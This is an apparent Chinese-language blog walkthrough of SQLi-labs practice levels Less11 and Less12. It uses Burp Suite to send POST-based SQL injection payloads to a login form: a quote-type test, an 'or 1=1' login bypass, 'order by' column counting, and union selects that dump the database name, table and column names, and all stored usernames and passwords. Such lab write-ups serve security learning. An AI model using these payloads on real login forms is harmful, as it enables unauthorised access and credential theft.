Less11
基于错误_POST_单引号_字符型注入
从这篇开始我们就进入激动人心的POST部分了。
以后使用POST的关卡都用BurpSuite来操作,Burp的基本操作就不多做介绍。
0x01. 分析表单
打开网站后发现是个丑丑的登录框,检查元素可以看到用户名
和密码
两个参数分别为uname
和passwd
,于是便可在Burp中提交参数uname=xxx&passwd=xxx
。
0x02. 判断字符型/数字型注入
uname=1&passwd=1
uname=1&passwd=1'
uname=1&passwd=1"
第一、第三条提示登录失败(回显正常),第二条报错:
从返回的一部分语句中可以看出是单引号的字符型注入,猜测查询语句:
select username,password from table_name where username='$_POST['uname']' and password='$_POST['passwd']' limit 0,1
0x03. 判断注入点
构造永真条件测试注入点:
uname=1&passwd=1' or 1=1--+
因limit 0,1
返回了表中第一条的信息:Dumb,Dumb
,即这里存在注入点,原理在Less1中介绍过:
or'1'='1'
是一个永真条件(也可以用其他永真条件替代),使查询语句相当于select username,password from users where true
即select username,password from users
,返回所有结果。
0x04. 判断字段数
利用order by
语句判断字段数:
uanme=1&passwd=1' order by 3--+
注意:这里的字段数是查询语句返回的字段数,并非表中的字段数,目的用于猜测查询语句。
0x05. 获取数据库名、表名、字段名
利用union
语句联合查询:
步骤1:用户名和数据库名
uname=1&passwd=1' union select user(),database()--+
用户名root
,数据库名security
步骤2:表名
uname=1&passwd=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--+
表名users
步骤3:字段名
uname=1&passwd=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
字段名username
、password
步骤4:数据
uname=1&passwd=1' union select group_concat(username),group_concat(password) from users--+
0x06. 吐槽
尝试了很久发现火狐的Hackbar不能Post带有单引号的数据。旧版的火狐和旧版的Hackbar是绝配,而在火狐57+以后对扩展有了新的标准,Hackbar的新版本就是个辣鸡,只有在写长Url的时候比较好用。
为什么最新版Firefox浏览器禁止了Hackbar渗透测试插件的使用?
关于新版firefox中hackbar不能使用的集中解决方案
这些文章里所说的扩展替代品挨个试了下,都更丑且难用。
还是Burp大法好!
Less12
基于错误_POST_双引号_小括号_字符型注入
和Less11差别在于单双引号和小括号,在报错回显中能够直接看出双引号与小括号,用同样的方式注入。